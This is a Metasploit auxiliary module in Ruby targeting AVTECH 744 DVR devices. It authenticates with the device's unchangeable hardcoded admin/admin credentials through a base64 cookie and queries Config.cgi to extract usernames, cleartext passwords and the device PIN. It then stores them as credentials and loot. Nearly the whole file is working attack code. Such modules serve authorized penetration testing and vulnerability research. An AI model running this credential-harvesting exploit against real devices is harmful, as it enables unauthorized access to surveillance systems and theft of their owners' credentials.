1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Remote::HttpClient
8
  include Msf::Auxiliary::Report
9

10
  def initialize(info = {})
11
    super(
12
      update_info(
13
        info,
14
        'Name' => 'AVTECH 744 DVR Account Information Retrieval',
15
        'Description' => %q{
16
          This module will extract the account information from the AVTECH 744 DVR devices,
17
          including usernames, cleartext passwords, and the device PIN, along with
18
          a few other miscellaneous details. In order to extract the information, hardcoded
19
          credentials admin/admin are used. These credentials can't be changed from the device
20
          console UI nor from the web UI.
21
        },
22
        'Author' => [ 'nstarke' ],
23
        'License' => MSF_LICENSE,
24
        'Notes' => {
25
          'Reliability' => UNKNOWN_RELIABILITY,
26
          'Stability' => UNKNOWN_STABILITY,
27
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
28
        }
29
      )
30
    )
31
  end
32

33
  def run
34
    res = send_request_cgi({
35
      'method' => 'POST',
36
      'uri' => '/cgi-bin/user/Config.cgi',
37
      'cookie' => "SSID=#{Rex::Text.encode_base64('admin:admin')};",
38
      'vars_post' => {
39
        'action' => 'get',
40
        'category' => 'Account.*'
41
      }
42
    })
43

44
    unless res
45
      fail_with(Failure::Unreachable, 'No response received from the target')
46
    end
47

48
    unless res.code == 200
49
      fail_with(Failure::Unknown, 'An unknown error occurred')
50
    end
51

52
    raw_collection = extract_data(res.body)
53
    extract_creds(raw_collection)
54

55
    p = store_loot('avtech744.dvr.accounts', 'text/plain', rhost, res.body)
56
    print_good("avtech744.dvr.accounts stored in #{p}")
57
  end
58

59
  def extract_data(body)
60
    raw_collection = []
61
    body.each_line do |line|
62
      key, value = line.split('=')
63
      if key && value
64
        _, second, third = key.split('.')
65
        if third
66
          index = second.slice(second.length - 1).to_i
67
          raw_collection[index] = raw_collection[index] ||= {}
68
          case third
69
          when 'Username'
70
            raw_collection[index][:username] = value.strip!
71
          when 'Password'
72
            raw_collection[index][:password] = value.strip!
73
          end
74
        elsif second.include?('Password')
75
          print_good("PIN Retrieved: #{key} - #{value.strip!}")
76
        end
77
      end
78
    end
79

80
    raw_collection
81
  end
82

83
  def extract_creds(raw_collection)
84
    raw_collection.each do |raw|
85
      unless raw
86
        next
87
      end
88

89
      service_data = {
90
        address: rhost,
91
        port: rport,
92
        service_name: 'http',
93
        protocol: 'tcp',
94
        workspace_id: myworkspace_id
95
      }
96

97
      credential_data = {
98
        module_fullname: self.fullname,
99
        origin_type: :service,
100
        private_data: raw[:password],
101
        private_type: :password,
102
        username: raw[:username]
103
      }
104

105
      credential_data.merge!(service_data)
106

107
      credential_core = create_credential(credential_data)
108

109
      login_data = {
110
        core: credential_core,
111
        status: Metasploit::Model::Login::Status::UNTRIED
112
      }
113

114
      login_data.merge!(service_data)
115

116
      create_credential_login(login_data)
117
    end
118
  end
119
end
120

121